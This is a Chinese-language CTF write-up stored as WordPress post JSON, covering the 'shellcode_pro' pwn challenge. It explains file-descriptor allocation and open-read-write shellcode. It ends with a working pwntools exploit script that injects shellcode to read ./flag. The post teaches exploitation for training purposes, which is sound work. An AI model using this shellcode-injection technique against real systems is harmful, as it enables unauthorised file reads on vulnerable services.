{"id":441,"date":"2025-05-28T23:42:13","date_gmt":"2025-05-28T15:42:13","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=441"},"modified":"2025-05-28T23:42:13","modified_gmt":"2025-05-28T15:42:13","slug":"ctbuctf_shellcode_pro%e8%a1%a5%e6%a1%a3","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=441","title":{"rendered":"CTBUCTF_shellcode_pro\u8865\u6863"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-x-large-font-size\">5.28\u8865\u6863\uff1a<\/h2>\n\n\n\n<p><br>\u5f88\u7b80\u5355\u7684ORW\uff0c\u771f\u662f\u5165\u95e8\u7ea7\u522b\u7684<br>\u8c22\u54e5\u7ed9\u7684exp\u7b97\u7b80\u5355\u7684\uff0c\u6211\u91cd\u65b0\u5f00\u59cb\u5c1d\u8bd5\u7684\u65f6\u5019\u8003\u8651\u7684\u662f\u60f3\u529e\u6cd5\u6cc4\u9732\u4e00\u4e0blibc\u627e\u504f\u79fb\u627e\u5bf9\u5e94\u7684\u5404\u4e2a\u5bc4\u5b58\u5668\u5730\u5740\u6765\u7740<br>\u7ed3\u679cROP\u4e00\u67e5\u6ca1pop_rdi<br>\u8f6c\u5ff5\u4e00\u60f3\u8fd9\u4e2a\u73a9\u610f\u90fd\u8bf4\u662fshellcode\u4e86\uff0c\u6211\u8fd9\u6837\u6253\uff0c\u4e0d\u6210ret2libc\u4e86\u5417\uff0c\u770b\u4e86\u770b\u611f\u89c9\u4e5f\u6253\u4e0d\u4e86<br>\u60f3\u4e86\u60f3\u611f\u89c9\u5c31\u53ea\u6709\u8c22\u54e5\u90a3\u4e2a\u65b9\u6cd5\u9ad8\u6548\u4e00\u70b9<br>\u51fd\u6570\u5206\u6790\u633a\u7b80\u5355\u7684<br>main\u51fd\u6570\u8fdb\u53bb\u5c31\u8bfb<br>\u5c31\u7eaf\u8bfb\u4f60\u5199\u7684\u5565\uff0c\u5199\u4e2aORW\u8c03\u7528\u8fdb\u53bb\u5c31\u884c\u4e86<br>\u76ee\u6807\u6709\u4e86\uff0c\u539f\u672c\u8003\u8651\u7684\u662f\u76f4\u63a5\u63a7\u5236\u5404\u5bc4\u5b58\u5668\u7684\uff0c\u4f46\u8fd9\u4e0d\u662f\u627e\u4e0d\u5230\u5417\uff0c\u6240\u4ee5\u5b66\u4e86\u5b66\u8fd9\u4e2ashellcraft\u7684\u4e00\u4e9b\u9a9a\u59ff\u52bf<br>\u4ee5\u524d\u7528\u5f97\u591a\u7684\u4e5f\u5c31shellcraft.sh\u5565\u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># sc = shellcraft.open(\".\/flag\", 0)\n# sc += shellcraft.read(3, \"rsp\", 0x100) # open\u51fd\u6570\u8fd4\u56de\u7684\u6587\u4ef6\u6307\u9488\u5b58\u5728rax\u4e2d\n# sc += shellcraft.write(1, \"rsp\", 0x30)<\/code><\/pre>\n\n\n\n<p>\u50cf\u4e0a\u9762\u8fd9\u79cd\uff0casm\u4e00\u4e0b\u5c31\u80fd\u62ff\u6765\u5f53payload\u7528\u4e86<br><br>pwn\u5e93\u96c6\u6210\u7684\u8fd9\u4e2ashellcraft\u65b9\u6cd5\u5f88\u667a\u80fd\uff0c\u53ef\u4ee5\u76f4\u63a5\u81ea\u5df1\u5bf9\u5e94\u5230\u5bc4\u5b58\u5668\u91cc\u9762\uff0c\u662f\u5bc4\u5b58\u5668\u540d\u79f0\u5c31mov \u8fdb\u53bb\uff0c\u662f\u503c\u5c31pop\u8fdb\u53bb\uff0c\u76f8\u5f53\u4fbf\u5229<br><br>\u6240\u4ee5\u539f\u672cread\u51fd\u6570\u7b2c\u4e00\u4e2a\u53c2\u6570\u662ffd\uff0c\u4e5f\u5c31\u662f\u6587\u4ef6\u6807\u8bc6\u7b26\uff0c\u8fd9\u91cc\u539f\u672c\u8c22\u54e5exp\u7528\u7684\u201crax\u201d\uff0c\u80fd\u7528\uff0c\u53cd\u6b63rax\u4f1a\u76f4\u63a5mov\u7ed9rdi\uff0c\u8fd9\u91cc\u6211\u7528\u76843<br><br>\u8fd9\u91cc\u6709\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u70b9\uff0c3\u8fd9\u4e2a\u53c2\u6570\u4ee3\u8868\u7684\u662f\u4ec0\u4e48\uff1f<br><br>\u8fd9\u4e2a\u4f4d\u7f6e\u662ffd\uff0c\u4e5f\u5c31\u662f\u6587\u4ef6\u63cf\u8ff0\u7b26<br><br>\u90a3\u6211\u95ee\u4f60\uff0cfd\u4e0d\u662f\u53ea\u67090\uff0c1\uff0c2\u5417\uff0c\u4e3a\u4ec0\u4e48\u62113\u624d\u80fd\u7528\uff1f<br><br>\u5b9e\u9645\u4e0a\u8fd9\u548c\u5148\u524d\u8c03\u7528\u4e86open\u6709\u5173\uff0c\u8fd9\u5bfc\u81f4\u4e860\uff0c1\uff0c2\u5df2\u7ecf\u88ab\u7528\u4e86\uff0c\u6240\u4ee5\u4e3a\u4e86\u65b9\u4fbf\uff0c\u7a0b\u5e8f\u4f1a\u5f80\u540e\u62d3<br><br>\u6240\u4ee5\u6211\u8fd9\u76843\u7b49\u4ef7\u4e8e0<br><br>\u90a3\u5982\u679c\u8fdc\u7a0b\u73af\u5883\u91cc\u9762\u591a\u5f00\u4e86\u51e0\u4e2a\u51fd\u6570\u4ec0\u4e48\u7684\uff0c\u90a3\u4f60\u8f933\u4e5f\u5f97\u70b8\u7f38\uff0c\u6240\u4ee5\u6700\u7a33\u59a5\u7684\u529e\u6cd5\u8fd8\u662f\u6254rax<br><br>\u800c\u4e0d\u662f\u786c\u7f16\u7801\u7684fd\u503c<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\">\u4e00\u3001\u6587\u4ef6\u63cf\u8ff0\u7b26\u7684\u5206\u914d\u89c4\u5219<\/h2>\n\n\n\n<p><br><br>\u6587\u4ef6\u63cf\u8ff0\u7b26\u7684\u5206\u914d\u9075\u5faa &#8220;<strong>\u6700\u5c0f\u53ef\u7528\u539f\u5219<\/strong>&#8220;\uff1a<br><br>1. <strong>\u9ed8\u8ba4\u4fdd\u7559\u7684 fd<\/strong>\uff1a\u8fdb\u7a0b\u542f\u52a8\u65f6\u9ed8\u8ba4\u6253\u5f00 `0`\uff08stdin\uff09\u3001`1`\uff08stdout\uff09\u3001`2`\uff08stderr\uff09\u3002<br>2. <strong>\u65b0\u6587\u4ef6\/\u8bbe\u5907\u7684 fd<\/strong>\uff1a\u5f53\u8c03\u7528 `open`\u3001`socket` \u7b49\u51fd\u6570\u65f6\uff0c\u7cfb\u7edf\u4f1a\u5206\u914d\u5f53\u524d **\u6700\u5c0f\u7684\u672a\u4f7f\u7528\u6574\u6570** \u4f5c\u4e3a fd\u3002<br>   &#8211; \u4f8b\u5982\uff1a\u82e5\u672a\u5173\u95ed\u4efb\u4f55\u6587\u4ef6\uff0c\u9996\u6b21 `open` \u4f1a\u8fd4\u56de `3`\uff0c\u7b2c\u4e8c\u6b21\u8fd4\u56de `4`\uff0c\u4f9d\u6b64\u7c7b\u63a8\u3002<br>3. <strong>\u5173\u95ed\u540e\u7684\u91cd\u7528<\/strong>\uff1a\u82e5\u5173\u95ed\u67d0\u4e2a fd\uff08\u5982 `close(3)`\uff09\uff0c\u540e\u7eed `open` \u4f1a\u4f18\u5148\u590d\u7528 `3`\u3002<br><br>&#8212;&#8212;<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\">\u4e8c\u3001\u4e3a\u4ec0\u4e48\u4f60\u7684\u4ee3\u7801\u4e2d `fd=3` \u80fd\u6b63\u5e38\u5de5\u4f5c\uff1f<\/h2>\n\n\n\n<p><strong>1. \u672c\u5730\u6d4b\u8bd5\u573a\u666f\u7684\u5178\u578b\u884c\u4e3a<\/strong><br><br>\u5728\u5927\u591a\u6570 CTF Pwn \u9898\u76ee\u7684\u8bbe\u8ba1\uff08\u5c24\u5176\u662f\u7b80\u5355\u9898\u76ee\uff09\u4e2d\uff1a<br>&#8211; <strong>\u8fdb\u7a0b\u521d\u59cb\u5316\u65f6\u672a\u6253\u5f00\u989d\u5916\u6587\u4ef6<\/strong>\uff1a\u53ea\u6709 stdin\/stdout\/stderr\uff08fd=0\/1\/2\uff09\u3002<br>&#8211; <strong>\u9996\u6b21 `open` \u5fc5\u7136\u8fd4\u56de fd=3<\/strong>\uff1a\u56e0\u4e3a `0\/1\/2` \u5df2\u88ab\u5360\u7528\uff0c\u4e0b\u4e00\u4e2a\u53ef\u7528\u7684\u662f `3`\u3002<br>&#8211; <strong>\u672a\u5173\u95ed\u6587\u4ef6<\/strong>\uff1a\u82e5\u672a\u8c03\u7528 `close`\uff0c\u540e\u7eed\u6587\u4ef6\u64cd\u4f5c\u4f1a\u7ee7\u7eed\u9012\u589e fd\u3002<br><br>\u56e0\u6b64\uff0c\u4f60\u7684\u4ee3\u7801\u786c\u7f16\u7801 `fd=3` \u5728\u7b80\u5355\u73af\u5883\u4e0b\u80fd\u6b63\u5e38\u5de5\u4f5c\u3002<br><br><strong>2. \u8fdc\u7a0b\u73af\u5883\u7684\u9a8c\u8bc1<\/strong><br><br>\u8fdc\u7a0b\u73af\u5883\u4e0e\u672c\u5730\u6d4b\u8bd5\u73af\u5883\u4e00\u81f4\u65f6\uff08\u9898\u76ee\u672a\u8bbe\u7f6e\u989d\u5916\u6587\u4ef6\u64cd\u4f5c\uff09\uff0c`open` \u8fd4\u56de\u7684 fd \u4ecd\u7136\u662f `3`\u3002\u56e0\u6b64\u786c\u7f16\u7801 `3` \u53ef\u4ee5\u6210\u529f\u3002<br><br>&#8212;&#8212;<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e09\u3001\u4e3a\u4ec0\u4e48\u5e94\u8be5\u907f\u514d\u786c\u7f16\u7801 `fd=3`\uff1f<\/h2>\n\n\n\n<p>\u5c3d\u7ba1\u5728\u7b80\u5355\u573a\u666f\u4e0b\u53ef\u884c\uff0c\u4f46\u786c\u7f16\u7801 `fd=3` \u5b58\u5728\u4ee5\u4e0b\u98ce\u9669\uff1a<br><strong>1. \u73af\u5883\u5dee\u5f02\u5bfc\u81f4 fd \u53d8\u5316<\/strong><br>&#8211; <strong>\u9898\u76ee\u53ef\u80fd\u63d0\u524d\u6253\u5f00\u6587\u4ef6<\/strong>\uff1a\u4f8b\u5982\u67d0\u4e9b\u9898\u76ee\u4f1a\u5148\u8c03\u7528 `open(&#8220;\/dev\/urandom&#8221;, O_RDONLY)`\uff0c\u6b64\u65f6\u4f60\u7684 `open(&#8220;.\/flag&#8221;)` \u4f1a\u8fd4\u56de `4`\u3002<br>&#8211; <strong>\u591a\u7ebf\u7a0b\/\u591a\u8fdb\u7a0b\u5e72\u6270<\/strong>\uff1a\u82e5\u5b58\u5728\u5e76\u53d1\u64cd\u4f5c\uff0cfd \u5206\u914d\u53ef\u80fd\u4e0d\u53ef\u9884\u6d4b\u3002<br><br><strong>2. \u5065\u58ee\u6027\u95ee\u9898<\/strong><br>\u786c\u7f16\u7801\u7834\u574f\u4e86\u4ee3\u7801\u7684\u901a\u7528\u6027\uff0c\u6b63\u786e\u505a\u6cd5\u5e94 **\u52a8\u6001\u83b7\u53d6 `open` \u8fd4\u56de\u7684 fd**\uff08\u5373 `rax` \u7684\u503c\uff09\u3002<br>\u603b\u800c\u8a00\u4e4b\uff0cexp\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nio = process(\".\/shellcode_pro\")\n# io = remote('ctf.ctbu.edu.cn',33413)\ncontext.arch = \"amd64\"\n\nsc = shellcraft.open(\".\/flag\", 0)\nsc += shellcraft.read(3, \"rsp\", 0x100) # open\u51fd\u6570\u8fd4\u56de\u7684\u6587\u4ef6\u6307\u9488\u5b58\u5728rax\u4e2d\nsc += shellcraft.write(1, \"rsp\", 0x30)\n# # rsp\u5176\u5b9e\u5c31\u662f\u4e2a\u53ef\u5199\u7684\u5730\u5740\n# sc = shellcraft.cat(\".\/flag\")\nshellcode = asm(sc)\nio.sendlineafter(\"Your shellcode:\", shellcode)\nio.interactive()<\/code><\/pre>\n\n\n\n<p><strong>PS:\u7b2c\u4e8c\u4e2a\u53c2\u6570 &#8220;rsp&#8221;<\/strong><br><br>&#8211; <strong>\u4f5c\u7528<\/strong>\uff1a\u8868\u793a\u8bfb\u53d6\u6570\u636e\u7684\u7f13\u51b2\u533a\u5730\u5740\u3002<br>&#8211; <strong>\u4e3a\u4ec0\u4e48\u7528 `rsp`<\/strong>\uff1a<br>  1. <strong>\u6808\u5185\u5b58\u53ef\u5199<\/strong>\uff1a`rsp` \u6307\u5411\u6808\u9876\uff0c\u6808\u5185\u5b58\u901a\u5e38\u5177\u6709\u8bfb\u5199\u6743\u9650\uff0c\u65e0\u9700\u9884\u5148\u6cc4\u9732\u5730\u5740\u3002<br>  2. <strong>\u5730\u5740\u7a33\u5b9a\u6027<\/strong>\uff1a\u5728 `shellcode` \u6267\u884c\u65f6\uff0c\u6808\u6307\u9488 `rsp` \u6307\u5411\u5f53\u524d\u6808\u5e27\uff0c\u53ef\u76f4\u63a5\u4f7f\u7528\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>5.28\u8865\u6863\uff1a \u5f88\u7b80\u5355\u7684ORW\uff0c\u771f\u662f\u5165\u95e8\u7ea7\u522b\u7684\u8c22\u54e5\u7ed9\u7684exp\u7b97\u7b80\u5355\u7684\uff0c\u6211\u91cd\u65b0\u5f00\u59cb\u5c1d\u8bd5\u7684\u65f6\u5019\u8003\u8651\u7684\u662f\u60f3\u529e\u6cd5\u6cc4\u9732\u4e00 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-441","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/441","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=441"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/441\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=441"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=441"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=441"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}